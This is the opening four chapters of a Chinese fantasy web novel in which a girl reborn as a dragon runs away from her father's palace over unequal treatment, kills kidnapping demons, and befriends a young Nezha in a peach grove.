《又怎么了,我的小莲花》
1. 第 1 章
昭昭刚睁眼,就确定自己穿越了。
站在她面前的龙头男人,不知道在叽里咕噜说什么,但她从他眼中的倒影看见了自己。
一条盘踞在蛋壳碎碎中的幼龙。
哦吼,她也不是人了耶!
可扭扭自己细长的身体,昭昭忽地便觉安心了些,自己好歹是条东方龙,没有变成外国龙。
刚出生的幼崽精力不足,还没等昭昭动弹几下,她的意识就强制关机了。
等她再度醒来时,她发现自己已经被不认识的谁从出生地转移了。并且她还发现在自己的摇篮中,还睡着另一条小龙……
昭昭不会飞,只能扭动着爬到摇篮边,居高临下地盯着那条白色小龙瞧。
你谁啊?和我睡一个床?!
真是见鬼了,她还清楚记得自己出生的蛋壳里只装着她一个,不是双黄蛋啊。
她盯了这睡着的小家伙几秒,便转头打量四周。
房间的布置金碧辉煌,珊瑚翡翠,明珠碧玉像不要钱一样地在这个房间中堆砌。
昭昭左右看了一遍,悄悄腹诽到这地方瞧着就不像是无产阶级居住的家,怎么会抠得让幼崽住共享摇篮?
昭昭不理解,昭昭考虑的时间却是连一秒钟都没有,就选择爬下去,然后去把不经她允许,就和她共享摇篮的小龙叼住尾巴,拖出摇篮丢在了地毯上!
既然家里不穷,凭什么要限定资源共享!
昭昭脑中关于上辈子的记忆模模糊糊,刻意去回想还会觉得头疼欲裂。但是她的新身体内还留存着过去的行事作风,奉行霸道的女人享受人生!
谁也别想占她便宜!
就算,就算你年纪小,不是做决定的人也不成!她往在地毯上睁开眼睛后,就哇哇开始嚎的小白龙瞥去一眼。
真没用!咱们这一身鳞甲又不娇嫩,跌地上才不会痛,再说她还是把他丢地毯上的哎。
昭昭自己都语言不通呢,才不理会他龙的哇哇大哭,她美滋滋地窝回空间变宽敞的摇篮中,可劲蛄蛹。
后来等到她睡醒后,先前地上嗷嗷哭的幼龙已是不见踪影,房间中则是出现了些蚌精鱼娘在旁侍候。
这些瞧着像是妖精的人,在她醒来后第一时间就帮她洗漱沐浴,喂食些肉糜瓜果填肚。
可能是物种变了的原因,昭昭觉得生肉糜入口是鲜美可口,瓜果尝起来则是没滋没味。
她在心中这般点评,却是没有顺着自己物种改变后的饮食偏好挑食,她想快点长大,就必须保证饮食均衡。
自己现在可是龙哎!那她这辈子生来就是要做龙王的!
未来的目标,从上辈子的考个好高中,变成了要做个呼风唤雨的大女人,昭昭感觉自己幸福多了!
新龙生目标的伟大,让昭昭每天睁眼都觉得自己活得可有劲儿了!
早前被她赶走的小白龙,在后来的日子中迟迟不见踪影,这点事昭昭完全不在意。她只专注于在日常生活中,和看她出生的龙头男人,以及貌似像是被他霸占的美妇的日常探望中,去探寻自己诞生的这个世界的一角轮廓,还有弄明白自己现在的出生点坐标。
乱石山…碧波潭…万圣龙王?
第一个地点,昭昭脑中完全没有任何印象,第二个嘛,她听着有点耳熟但记不起是在哪里听见过这名?
她现在的脑子估计还没有花生米大,也就不为难自己了,转而去想最后一个与地名无关的人物讯息。
万圣龙王,仅有称号和种族名称,却没带名字。
他这是无名无姓的野龙,还是因为对着自己所以来了个避讳?
昭昭在思考,而被她暂时忽略到一旁的万圣龙王,却看她此时的小模样看得直乐。
万圣龙王回首和妻子交换了个缠绵的眼神,下一瞬转头回去,却是毫不客气地抬手用食指往幼龙头上一戳。
昭昭被他戳得缩脖子,反应过来后立刻就朝龙爹戳自己的食指上咬去!
万圣龙王啊了一声,甩甩手挥不掉幼龙,又不敢用力去拿她,只得用左手顺着昭昭的鬃毛叹道:“你这小龙儿,好生霸道!”
他给昭昭顺了会儿毛,见她还不松口,又道:“我乃你父,戏你一戏都不饶?”
龙婆在一旁轻笑,戏道:“她这不是随了您的性情?大王且快快讨饶一番罢了!”
娇妻爱女环绕,万圣龙王倒也随和顺了妻子的意,他像模像样地哄了女儿几句话后,右手食指上赫然出现一圈袖珍的牙印。
在此时此刻,昭昭的确是以为自己将来会是龙宫的中心、未来此地继承龙的。
直到她十年后化为人形,与同样化为人形的小白龙相见后,才知道自己即将面临此世的第一次不公平。
五岁的小女孩和同龄的小男孩,面对面,大眼瞪小眼的画面是挺可爱的。
最起码在万圣龙王眼中是如此。
但等到龙子龙女结束第一日的教导后,万圣龙王便迎来了自己的头痛时光。
书房中,昭昭气得小脸通红,她大声地对万圣龙王抗议道:“为什么我上的课程,和那筷子细长条的课程不一样?!”
她越想越气,握紧拳头抗议道:“裁衣绣花、调香品茶、舞剑厨艺、识字读诗,就最后一个有用!”
万圣龙王弯腰想抱起昭昭的同时向她解释:“你和哥哥不一样,以后他是要继承家业的。而昭昭你学着玩,陶冶陶冶情操便是,父王日后会为你招个好夫君让你清闲度日,他会为你打理一切。”
“我不要!”昭昭这次是真的生气了,她眼睛都气红了:“什么有价值的东西都不会的人,是不会有人喜欢的。”
她怒道:“你说我未来日子那么好过,怎么不让筷子细长条也过这样的日子。”
万圣龙王:“你哥哥和你不一样。”
昭昭挥开万圣龙王持续不断想要抱她的手,道:“有什么不一样,他不就是身前多了一根棍和俩鸡蛋吗?有什么了不起?”
万圣龙王顿住,惊道:“你从哪里晓得这个的?!”
他这女儿还未长成,怎么就知晓男女之别了?
言语还粗俗至此!成何体统!
昭昭倒退三步,眼角余光往门边的方向移去,却不耽误嘴上继续发力:“男女下面长得不一样,这是什么机密吗?”
万圣龙王急道:“不是机密,也不能这么直接说出来!”
他讲话时,昭昭已退到门边,继续说道:“再说筷子细长条又不是只有前边没后边,父王你也可以为他找个好夫君呗!”
万圣龙王已是不想再与女儿说话,他大步朝她的位置走去。
昭昭见势不妙觉得自己要被打屁股了,当即就推门逃走。
她边跑边喊:“父王你就是偏心!偏心!爱哥哥不爱我!哪像我公平公正地愿意将好夫君分给哥哥!我这样的好妹妹世上难得,你和他要学会珍惜!!!”
万圣龙王气道:“你这个时候愿意叫他哥哥了?你怎么不叫他筷子细长条了?!”
昭昭这会儿哪敢继续和龙爹辩驳,她拎起裙子就是一路狂奔,完全不理会身后追着的,万圣龙王喊着的:“你把裙子放下!给我放下!快放下!”
这场紧张刺激的追逐战,猝于半途龙婆的拦截。
龙婆抬起手,白玉环顺着臂上丰肌往下滑,一伸一提间,昭昭的后衣领已被她抓在手中。
她笑眯眯地望着自己手中的小龙瞧:“你跑什么呢?”
昭昭理直却不敢壮地别开脸,她害怕对上此时母亲面带笑容的芙蓉面:“就嫌走得慢,随便跑跑咯。”
万圣龙王此刻已经走到了妻子身边,他同样笑呵呵地问女儿:“跑啊?你继续跑啊!”
他不说话还好,这一开口便起了反作用,昭昭不心虚了:“你区别对待你的子女,是你的错,怪我做什么?”
万圣龙王被她一哽:“你……”
昭昭继续道:“龙皮厚得戳不穿!哼!”
龙女脾气大的又是一扭头,只留给万圣龙王与龙婆一个双环髻摇晃
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的小脑袋。
她发上簪的玉蝴蝶钗,震颤着翅膀,摇得龙心乱。
万圣龙王面上敛了笑容,道:“你衣食住行全来自于我,自是我说什么你应什么。要想违背父言,也得等你长大!”
如此登味浓重的话语一出,昭昭哪还能继续忍气!
她咻地一声,像一条滑不留手的泥鳅一样往下溜去,不要了外裳落在地上。
随后她又瞪了万圣龙王一眼,便化作原型边朝龙宫外游去,边一路喊道:“不靠你养就不靠你养,离你我难不成还活不得了!”
龙婆看女儿这样子像是要负气出走,慌忙想变回鱼身追去,却又听远处传回了一句昭昭的骂父声:
“父养子是义务是责任,怎么到父王你这就成了施舍和奉献?!好没有道理!!!”
万圣龙王抬起手拦住妻子,气道:“你别追她,我看她能在外面硬气几日?!”
龙婆忧心忡忡道:“外面的神仙妖魔,她都没见过,万一……”
万圣龙王打断她的话,怒气冲冲挥袖而去:“方圆百里早已被我清过一遍,她能有什么危险?龙族肉身可不是什么跟脚的杂碎都能破的!”
龙婆不敢违逆龙王的意思,只能怀着对女儿的担忧,黯然退去。
另一边,出了潭水的昭昭却换了好心情。
她可不傻,她知道着自己是龙呢!哪怕只是条幼龙,不作死去挑衅什么庞然大物,这世界上就没有几个庞然大物能危及龙族性命的!
离家出走,是每个青春期孩子的幻梦,是藏在记忆中暗处躁动的热血。
此前为人时,昭昭不敢做,现在成了龙,不用担心安全问题,她当然就把自己心中的选择放到了第一位。
想是天高任龙飞海大随龙游,昭昭一路吞鸟嚼鱼,自由自在玩耍到了一处山林,然后就被抓进了熊洞……
想她刚上岸变作人身行了一段路,不久就被一群赶着小孩的妖怪们给‘抓’了个正着。
她第一次见龙宫外的野妖,心中好奇却也抱着路见不平痛击人贩的心理,顺水推舟依着他们的恐吓进了妖怪洞府。
这些妖怪瞧不起孩子们,到了地方就把他们关在一边,而这个举动正好方便了昭昭行动。
在黑暗中她挣开了束缚自己的绳索,握起拳头便狞笑着朝外走去。
中途有小孩哭着拦住她,慌张道:“你、你要去哪里?带上我吧!”
她回头道:“斩妖除魔,杀妖怪你要去吗?”
小孩结结巴巴道:“我们怎么打得过妖怪!你、你会死的!”
昭昭对小孩不在意地摆摆手:“我可是龙,还怕这些丑东西!你们且去乖乖藏好,待我杀了这些妖怪,就送你们回家找父母!”
言罢,她便走也不会地朝关押他们这些血食的洞外走去。
昭昭先是两拳捣碎洞口看守小妖的脑袋,又拾了他掉落的长刀,才小心地向外走去。
待她连杀了几个慌不择路,向她所在方向逃窜的小妖,这才惊觉洞中已是喊杀声一片!
怎么,这里见义勇为的大侠还有一个?
昭昭往洞府深处杀去,一路寻到了她想找的人。
她看见了这人背对火光站立的背影,却来及去细细打量他的周身,注意力马上就被从他那里飞过来的熊头给惊到!
咚一声巨响,磨盘大的熊头落地,切口处一片血色淋漓。
忽又听见一声利落的洒水声,昭昭再度望向眼前的陌生人,她看见他手中金环光芒灿灿,立即明白这人八成是用这物斩落熊头的。
好厉害呀!但是,嗯……
他真的好装哦!
昭昭心中想着这个,对着那人却是脱口而出了一句囧话:“不是吧,你装完了我装什么?!”
那人回身,冷淡地瞥了一眼昭昭:“你不是这熊的同伙?”
昭昭:“?”你怎么还在装?装什么啊?!
我可是龙,脑袋上杵那么大俩龙角的龙,你是不ins龙吗???
2. 第 2 章
昭昭她此世虽以龙的身份自傲,却也不会做出见个人就卖弄,张口主动说出自己种族什么的事情。
须得知道,装的最高境界,就是要在不经意间,显露出自己的不凡。
刻意去装,反倒落了下乘。
眼前这个小男孩就很会装。昭昭这辈子加上上辈子都装不出他此时这种,风轻云淡又浑然天成的感觉。
火光照耀下,她的脸越发红润,带着些委屈和不满地憋憋嘴,道:“我才不吃人,我也是来救人,杀妖怪的。”
种族换了,她也对人下不了口,又不是拔叔。
对陌生人解释完,随后她又飞快地往地上的熊脑袋上瞟了一眼道:“你还挺厉害的!”
昭昭老实地夸赞了一句这人的本事,很快就听见了这人理所当然地嗯了一声。
理、所、当、然……
深呼吸了一口气,觉得自己行侠仗义经验不如对面人高的昭昭,她向对面的人询问意见道:“你把他们老大杀了,现在我们该怎么办?分开去搜捕小喽啰们吗?”
“小喽啰,这个词形容得不错。”
那人一边说话,一边从熊妖石座旁的位置跃下,落在石阶的底部。
昭昭看着这人的动作,只觉得自己又新学会了一个装的高级动作!
“不必分开,你自去救人便是。洞口处我已经用了法宝封堵,这些吃人的妖精一个都跑不掉。”
这人又说了一句话,同时朝着昭昭站立的位置转过身来。
和这人对话了半天,她总算是见到了这人的相貌。
昭昭这辈子自己就长得挺漂亮的,可到了这会儿,她发现这世上比她更适合用玉雪可爱、天生丽质来形容的孩子,现在就在她的面前。
她直勾勾地盯着她看,舍不得移开自己的目光。
方才对面人说了什么,昭昭都没太听清。
而她敏锐地发现了她的走神,便皱眉重复了一遍自己的话:“……你听清楚刚才我说的话了吗?”
这次昭昭听清楚她说了什么了,随即点点头表示自己听懂了,就和她说:“那我先去救人,晚点就带人来找你,我们洞口处集合!”
“嗯。”
得到对面厉害角色回应的昭昭,迈着小短腿提着刀,哒哒哒地跑远了,她想着自己可不能拖姐妹后腿!
她往远处冲了一段路后,又似想起了什么停在原地。
没有多余的时间可犹豫,昭昭转身又跑回了自己的出发点。
她停在漂亮妹妹的身边,拉起她空余的左手在半空中摇晃。
昭昭边晃着这人的手,边夸她:““你长得可好看了!又厉害又漂亮,好强!”
姐妹腻一下,说说心里话。
昭昭做完这件事后,便心满意足地去忙解救人质的大事去了。
耳边回响着小女孩离去的脚步声,哒哒哒的,像是珍珠落在了地上,引人注意。
被昭昭认为是小女孩的人,他站在原地,抬起左手举在眼前,眼中一片迷茫。
他不明白,刚才她对自己做这个举动是什么意思?
他们都不认识。
这无措的反应,只在他身上维持了片刻,随后他又举起自己的法宝,步入黑暗中,追杀逃散的群妖去了。
两人分头行动,昭昭返回先前自己待着的洞穴,站在洞口探头进去观望。
她望着洞内孩子们惊恐的小脸,笑着招呼他们道:“你们快过来,妖怪老大已经死了,我们很快就能回家了!”
孩童们不动,一个挤着一个在原地瑟缩着,没人敢应和昭昭的招呼。
最后敢于和昭昭说话的人,还是在昭昭离开这里时,和她搭话的那个孩子:“老大是你杀的吗?”
这小孩一说话,昭昭就皱了鼻子,因为她从这小孩嘴中,闻见了一股不妙的气味。
她摇摇头,不占别人的功劳道:“不是我。”
说完,昭昭仔细地在孩子堆里看了一圈,分辨众人神色变化。
脑中逐渐具体的猜测转了一圈,她大概明白了自己离开后,这里发生了什么事情……
心中主意已定,昭昭面不改色地招呼和自己说话的孩子过来:“你胆子大,之前就敢和我说话,便就由你来打头做个先锋,带领众人和我们一路离开吧。”
那孩子应了一声,立刻就往昭昭站立的位置走。他一动其余的孩子们,无论其中的谁表现得有多害怕,都颤抖着向洞口的方向围拢而去。
昭昭在那个孩子走近自己身前时,与他闪烁的眼神一对视,瞬间她手中的长刀便捅入了这人的肚腹。
孩童倒在地上显了原型,瞧着样子像是一直鹿。
鹿妖垂死哀鸣着:“你如何认出我不是人?”
昭昭先摇头叹气了一句什么鬼世界,鹿都能吃人了,才道:“你身上腥臭气息太重了,变化出的人形再逼真,骗得过眼睛却骗不了鼻子。”
解了将死鹿妖的疑惑,下一秒昭昭就毫不犹豫地割了这妖的头颅,防止他有任何诈尸背后捅刀的可能。
她下手果决,进了其余孩童的眼中就成了狠辣。他们现在听他的话,可比刚才昭昭那番好言好语管用多了。
人都聚在了洞口,他们围着龙女却是不敢靠近。
昭昭杀了鹿妖没有立即带人离开,她先往洞穴里面走去,在暗处的草堆里拖出了一句孩童的尸首。
童尸耷拉着脑袋,死状凄惨,像是被扭断脖子而亡。
昭昭望着这具尸体,难过地快速眨眼,企图通过这样的小动作敛去眼中的水光。
她将童尸抱在怀中,走到洞口询问其他还活着的孩子们:“你们谁和这个孩子认识?或者是来自同一个地方?”
话音落下许久,才被人拾起,有一对姐妹中的姐姐轻声道:“我们认识他,他是住在我们家隔壁巷子的,他爹是卖豆腐的。”
妹妹见了姐姐朝凶徒搭话,她随即也大着胆子道:“你问这个干什么?”
昭昭道:“当然是要把他送回家呀,人死了是要落叶归根的。”
此话一出,无论先前再怎么恐惧她的孩子们,在这一刻都不由自主地向昭昭围拢过去,靠近,靠近,再靠近些。
他们中多数人都不识字,却也从小活在大人们的言传身教中。
落叶归根是多数人心中的执念,也是灵魂消解前对肉身最后的牵挂。
姐妹花中的姐姐在此时站得与昭昭最近,她弯腰用力抬起昭昭怀中尸首拖地的脚。
做好了这一切,她才小心翼翼地朝昭昭脸上看去,低声向她道歉:“刚才的事对不住,我们害怕妖怪杀人都不敢和你说它骗人的算计。”
“我不在意。”
昭昭没看她,招呼着众人主动往外走去:“你们弱小不能自保,我知道。”
昭昭她是真不在意这些小朋友的隐瞒和退缩的。
作为一个强者却对弱者的孱弱斤斤计较,是小肚鸡肠。她要做好事就去做了,是为了自己开心的顺心而为,他人要如何如何,又影响不了自己。
想做好事又能做好事,昭昭便只管自己开开心心。
迈着雀跃的步伐,她将整个妖怪洞府翻了个
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底朝天。见此间既没有其他还活着的人类,也没有金银珠宝之类的财物,她就领着孩童们很快奔向洞口。
昭昭离洞口处还远远的,就瞧见那等着他们的人了。
小小的孩童生得唇红齿白,娇美秀气,两腮鼓鼓若含雪团。头上团着两个髻,脑后批发散落在肩头,随着他手上把玩金环的动作晃动。
他转过头瞧见自己等的人来了,便轻灵一跃从尸山上跳下,其腰间缠着红绫在空气中,摇摆出金鱼尾的弧度。
“好慢。”
这两字乍听上去很像是抱怨,却因其语气毫无波澜的起伏,确定了其称述事实的含义。
昭昭领着众人快步走到他的身旁,向他道歉说:“抱歉抱歉,我来时又在这洞府里搜寻了一圈,想看看妖怪们还抓到其他人没有,这才来迟了让你久等。”
他接受了昭昭给出来的理由,转而问她:“你是第一次出门吗?”
昭昭不明白话题怎么会转移成这样,疑惑地摇头道:“你怎么知道我第一次出来玩啊?”
漂亮孩童语气淡然地回道:“因为见多了妖怪的人都知道,他们抓人来吃是不会留到过夜的。”
昭昭顺着他的话回想起这洞穴中散落的带着牙印的人骨,禁不住站在原地打了个哆嗦:“嘶~他们是真该死啊!”
在这两人交谈的过程中,孩子堆中时不时便有人受不住血腥气和兽类的腥臊气冲撞,低头呕吐。
一时洞中的气味便更加难闻了,昭昭和她自顾自认定的新朋友,他们的五感都很是灵敏,当即便双双皱起了眉头。
“好恶心,我们先走出山洞再说话吧。”
“有什么好吐的,都是尸体了还能继续吓人?”
昭昭听见新朋友的疑惑,头也不回地和她道:“他们是小孩又没有我们俩厉害,你别苛求他们有我们俩胆子大啦。”
孩童见她怀抱尸体还面不改色,点头认同道:“你胆子的确大。”
昭昭作为是想交朋友的那个人,她既然和人聊起来了,便不停嘴。
她边踏入洞外的阳光中,边回头笑看身后的人问他:“我叫昭昭,人形今年是五岁啦。我是一条居住在碧波潭的龙,你呢?”
男童听了她报上了自己的姓名来历,也自我介绍道:“我名哪吒,不算在母亲肚子中,我今年也是五岁。家住…家住…我不清楚我家住的哪座山叫什么名字。”
哪吒?
这名字,昭昭有印象,不就是那个是他就是他的小英雄嘛!
不过,她今年才五岁,性别不对不说,年纪也对不上,昭昭便将哪吒他的名字当做是和哪吒名发音相似的同音不同字。
昭昭本着我们交换了名字后,就是朋友的心思,在两人将孩童们送回各家后提出了与哪吒再玩几日的邀请。
然而出乎她意料的是,她的邀约遭到了哪吒的拒绝。
“我想去远些的地方玩耍,现在天色已晚,你若不回家,父母会担心你的安危。”哪吒抖着手腕,想把昭昭抓着自己袖口的手抖掉。
当他发现他抖不掉时:“?”
昭昭看哪吒抬起手的动作,误会了他是想让予自己方便。立刻就挽上他的右臂抱住撒娇。
哪吒被她忽地贴近,激得脑后披散的头发全部炸开,慌乱无措道:“你干什么?!”
昭昭没让哪吒的手从自己怀中挣开,眨眨眼尽可能让自己的表情显得无辜可怜:“想求你陪我一起玩。”
“我是离家出走的龙,我把我爹给丢了不要了。”
哪吒挣扎的动作瞬间停止:“甚?”
3. 第 3 章
话说出了口,他才发现刚才自己讲话的声音太大了。
哪吒别开脸暂时不去看身边的人,咳嗽了几声才道:“你说的话,是我理解的那个意思吗?”
昭昭抱着小姐妹的手,觉得她应该能和自己同仇敌忾。若是不能的话,她后面给她掰成和自己一边,也是做得到的。
于是她就和她说了自己在家中所受到的不公平的待遇。
“……如此如此之后,我就离开龙宫了。”
昭昭在复述旧事时,心中除了怒火,一股压抑不下的委屈也如开盖的气泡水般,在她心中咕噜咕噜冒出。
“都是他的孩子,凭什么区别对待我,我想读书想习武。我知道学这些是为自己好,死老龙却偏要我学些讨好别人的东西!好坏!纯坏!”
眼前的龙女说哭就哭,眼眶中水光来回滑动几下变成了晶珠儿,滚到了哪吒的衣袖上。
哪吒这回又是被昭昭这说哭就哭的架势,弄得无措。
他从没见过这样的姑娘,也有许久未曾与人这般亲近的迷茫。
现下哪吒虽是心中别扭,却也努力的想要开解她:“你现在不是已经离开了龙宫吗?外面厉害的道士、佛陀比起其他鸟兽,更愿意收龙为徒。”
昭昭眨眨眼挤掉了眼中最后的两颗泪珠儿:“哦,这样啊。”
没想到身边的小姐妹这么早熟,她还知道这么多小道消息。
见昭昭被自己的话题吸引不哭了,哪吒心下松了一口气,道:“你要跟我回家吗?”
昭昭:“不去。”
她是想和哪吒玩一会儿,却一点也没有想去别人家居住的想法。
哪吒再好,他的亲人再好,她住了进去久而久之心中还是会生出寄人篱下的自卑感。这这种错误的感情,对谁都不好。
不去啊……
哪吒不担心龙的生存本领,从先前的相处又看出这小龙不傻,于是他便没有强行将自己的善意施加在昭昭身上,而是说:
“我接下来想去东面五十里外的桃林处玩耍,那桃林中还有一处荷塘,在那里既可以玩水又可以吃桃,你要和我一起去玩吗?”
说着话,哪吒将昭昭从自己的手臂上扒下来,对她递出左手。
搂抱什么的太过亲密,他不适应,牵手的程度他倒是能接受。
昭昭应了声好,牵起哪吒的手由他带路,两人跑跑跳跳一路笑闹到了桃林。
到达目的地,她望着眼前的风景,觉得身边人真会找地方享受。
大片的桃林中,枝上花朵随风而动,洋洋洒洒在空中飘下一阵粉雨。这花雨之象,还属寻常,更奇妙的景观则是这众多桃树上竟然花果并存。
青绿粉尖的桃,最大的不过鹅蛋大小,它们挤挤挨挨依着绽放的桃花下躲藏,说不出的玲珑可爱。
昭昭望着桃树上的花果相依,惊奇到:“我还没见过桃树一边开花一边结果呢!”
见她对着桃林看得呆了,哪吒悄悄松开了她的手。
随后又暗中观察到,此刻昭昭的注意力是一点都没在自己身上,他便将自己手心处,因为紧张而冒出的手汗,往混天绫上抹了个干净。
对于他的紧张,昭昭是一无所知,龙族喜水的习性,让她不由自主朝荷塘靠去。
这处小小的碧色池塘,是因溪水改道而生。
活水的持续灌入,让这处的水质清透干净。其中生长着游鱼活虾无数,底层水草茂密,表面停着荷叶玉盘,这是个看着就是个让龙觉得里面很舒服的水泽。
耳边听着哪吒喊了着我去摘桃,昭昭口中应了一句,化去脚上的鞋袜,拎起裙摆往池塘中走去。
塘中水草柔软,有胆大的小鱼靠近她的小腿肚,用嘴在她的膝弯嘬弄,细小痒意的出现弄得昭昭咯咯咯的笑出声。
哪吒用衣服兜了一抱的桃子,他听见身后女孩活泼的笑声,便转身过去看。
这一眼下,惊得他怀中稳稳抱着的桃子山,崩落了最顶端的山尖尖!
哪吒僵在原地红着脸,大声提醒道:“你、你快把你的裙子放下!光天化日之下,姑娘是不能在男人面前露出你的腿的!”
昭昭被吼,茫然地支着头往四下里一扫:“荒山野岭的,哪有男人?”
“我是男人啊!”哪吒将果子堆在地上,快步向她走去。
昭昭被哪吒拉着胳膊带出池塘,被他放下裙子后仍就没回过神来,呆呆地惊问:“你是男的?”
不应该啊,长成这样怎么会是男的?!
昭昭盯着着哪吒点头的动作,非常想将他的下巴抬起,然后再用手帮他的脑袋左右转动一下。
认错人性别的事情有些尴尬,而更尴尬的是被你认错性别的人,知道你认错了他的性别。
可昭昭会尴尬吗?她不会,她只会选择转移自己身上尴尬的情绪。
昭昭用眼睛上下打量哪吒一番后,确认道:“你现在是男童,才不是男人!”
哪吒有些生气,他睁大眼睛,表情严肃道:“我怎么不是男人了?要我证明给你看吗?”
昭昭盯着他因为生气,而没有表情的小脸,心觉可爱有趣的同时,故意用无所谓的语气回话:“那你证明给我看呗。”
她给了他证明的机会,哪吒脸上却露出了被噎住的表情。
他顿住了片刻后,又抬起头与她的双眼对视。
昭昭看见哪吒漆黑的瞳仁在眼中颤动,似犹豫似为难。
不多时,他的脸又红了。
年纪尚幼的男孩,不知道该如何证明自己是个男人。
等对上女孩漂亮的杏眼后,又些泄气地避开脸道:“反正我就是个男人!”
昭昭:“…那你是。”
她盯着他红红的双耳,放弃了继续逗人的计划。
已经感觉过了池水的清凉,她拉起哪吒的手摇晃,哄小孩道:“刚才是我说错话了,你别气,我陪你吃桃子吧。”
哪吒被气到后想不理昭昭,却又觉得自己这么做后显得自己太过小气,便只抿紧嘴唇只在面上做出生气的表情。
正气鼓鼓的,面
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前却出现一个被人去了桃毛洗干净的桃子。
视线越过桃子,他盯住女童扬起微笑的小脸。
哪吒接过桃子往嘴里咬了一口,酸甜的桃肉咽下肚,心中的别扭消散了大半,他问昭昭道:“你不讨厌我吗?”
昭昭困惑不解:“我为什么要讨厌你?”
哪吒:“我听你说的事情,以为你会讨厌男孩。”
昭昭摇头:“你又不会仗着你是个男的,就顺理成章可以抢我的东西。”
“我家那两个,恶心我的是他们抢了我的东西,还觉得自己理所应当。认为被我怨怼是很无礼的事情,那种诡异的无辜感,呃…让龙反胃。”
听了昭昭的解释,哪吒脸上重新扬起笑容,又道:“你现在想吃什么?我去给你抓来。”
两人的话题再次跳转,昭昭跟不上哪吒的思考,奇道:“你问这个干嘛?我们不是在吃桃子吗?”
“那你喜欢吃桃子吗?”
“我不喜欢吃桃子,我喜欢吃肉。”
“那不就对了。”哪吒说完三两口吃掉自己手中剩余的桃子,他抬手将桃核往身后随意一丢,又道:
“我又不是你家那两条坏龙,我不会强迫你顺着我的喜好去做事,你给我干净桃子吃,我就给你猎取你喜欢吃的肉食。”
“哪吒,你真好!”昭昭眼睛唰地一下亮起来,夸了他一句。随后又想到自己能接受的肉食口味,道:“我要吃牛肉,小牛犊就够了,多了我吃不下。”
“知道了,你在这里等着。”
哪吒起身向桃林外走去,被留在原地的昭昭又再次溜到池塘边。当然这次她不是想玩水,刺激自己身边的小古板,而是决定搞点小零嘴吃吃。
池中有不少身体为半透明状的小虾,她蹲在水边轻易就能抓住它们,去掉虾线后丢在嘴里大嚼,味道是又脆又甜爽!
“你看这样个头的牛,你够吃吗?”
昭昭觉得自己还没吃几只虾呢,身后就传来了哪吒的说话声。
她站起身走到他身旁去看地上他打死的野牛,点点头道:“能吃饱。”
说完话,昭昭变回原型就想吞牛,却见哪吒他将牛尸拖到水边,从剥皮开始处理。
“嗯?”
哪吒眼角余光,瞟见在自己脸侧摇晃的胡须,笑道:“你等上片刻,我喂你吃就是。”
昭昭:“这么好啊?”
哪吒:“你不是喂我桃子时,也去干净了桃毛吗?”
小小年纪,倒是挺懂礼尚往来的。
昭昭在心里夸了夸小伙伴的贴心,随后就蹲在他身边长大嘴巴,接受他的肉块投喂。
她吃了个半饱,才想起去问哪吒:“你爹是不是那个有名的托塔李天王?”
哪吒:“天王?”
他摇摇头,语气中满是嘲笑:“我父亲姓李没错,可他就是一个山野村夫。”
这样,昭昭她就放心。
同名同性也不一定就是哪吒本吒呀,这样他们倒是能维持友谊,继续快活地玩耍。
4. 第 4 章
昭昭在被哪吒投喂时,一龙一人气氛融洽,直到她咽下口中最后一口牛肉后。
变回人形的昭昭与哪吒产生了一场莫名其妙的对视。
昭昭:“?”
哪吒盯着她光滑的下巴道:“你…胡子上沾了牛血。”
随着他的话,昭昭将手下意识地摸到下巴上。
人形她当然摸不到自己原型上血淋淋的胡须,只好又变回龙身去照水。
因为咀嚼牛肉流出来的汁水,原型下昭昭的龙须的确有些粘黏,她看着自己水中的倒影有些尴尬。
“才不是胡子,龙须和胡子怎么能一样呢。”她边在莲池的源头处洗头,边小声嘀咕着。
哪吒蹲在青龙身边,见她从水中抬起了龙头,就顺势解了自己腰间的混天绫变大,递了过去:“擦擦。”
昭昭瞥了一眼他红色的擦手帕,道:“谢谢。”
正擦着脸,她心里却在盘算现在自己的掌中物必不是混天绫!
没有谁会如此随意地对待法宝!
而她在还擦脸巾给哪吒时,还装作不经意地往他手心看去。
待确认了他掌心中无字,这才彻底消解自己心中最后一丝怀疑。
巧合是多了些,但哪吒确实不是那个哪吒。
这辈子做了龙,她是不敢接触屠龙的凶暴勇士的。
别龙有的筋儿,她也有,在脑中对中式屠龙模拟想象时,那叫一个感同身受max。
在昭昭忙于洗脸时,她完全没有注意到周遭林中阴影处,生出的异动。
桃林中浓烈的血腥味,吸引了无数野兽和小妖的暗中窥视。
而哪吒呢,他敏锐地察觉到了这些不善的眼神。
面对这些贪婪的眼神,他选择对其一一怒视回去。
自然天理是天理,可却绝没有宴席上主人家未走,从客便迫不及待去占领位置的道理。
他虽用眼神喝退暗处蠢蠢欲动的野兽,却未阻止溪中小鱼的觅食。
这小小的细节,显露出了他雷霆手段下的慈心,而他日后与佛结缘的妙处也全在于此。
未来重生的机缘,来自哪吒内心深处从未消减的、对于弱者的怜悯。
而对于哪吒这点天生的善心,不仅昭昭没发现,就连哪吒本人也从未察觉。
在眼下昭昭填饱肚子后,她开始了饭后困。一股强大的睡意袭击了她,她维持着最后一秒的清醒,就选择了一颗桃树,爬上去睡觉。
在哪吒的注视下,她睡得很沉,却是不知她的头脑中仍保留着最后一丝警惕。
若哪吒攀上她睡觉的桃树,人立刻就会被她推落下去。
好在此时的哪吒从未黏过人,也没有和才认识的朋友黏腻的习惯。
他见天色渐晚,便拾了柴火,背靠一棵桃树,升起了火堆。
夜晚中的狼嚎狐鸣,丝毫没惊动成熟的幼龙。哪吒眼睁睁看树上呼呼大睡的龙,从完整的人形,睡成了半龙的姿态。
碧色的鳞片,在火光下泛着和白日下一般的七彩华光,很是漂亮。
出于对美好事物的欣赏,哪吒盯着昭昭的半截龙身瞧了一会儿。
晃眼间,他就瞧见沉睡的龙女下意识用尾巴,抽飞了几只妄图近身的小妖。
嚯,她敢在荒郊野外倒头大睡,原来并不是傻大胆啊。
昭昭睡觉都能保持警惕的这一信号,让哪吒明白了自己与她夜宿,不必肩负守夜的任务。
这个发现,当即让他往火堆里添了些木柴,就靠着桃树闭目浅眠。
就这般,一人一龙一夜好眠到了天亮。
清晨露水打湿了鳞片,昭昭在桃树上慢悠悠醒来。
清凉的山风比什么闹钟都管用,睡醒再伸个懒腰,手就碰着了湿漉漉的野桃,龙就变得清醒得不能再清醒了。
睁开眼,昭昭瞧着在她正对面树下的哪吒。
他仿佛是还在梦中,睡得眉目舒缓。晨露垂在他细密的眼睫上,若水滴悬于叶间,精致又可爱。
他漂亮得昭昭瞬间原谅了他的男孩身份。
清晨心情愉悦,又加上眼前睡觉的人是她新认识的朋友,昭昭心中难得起了戏弄人的想法。
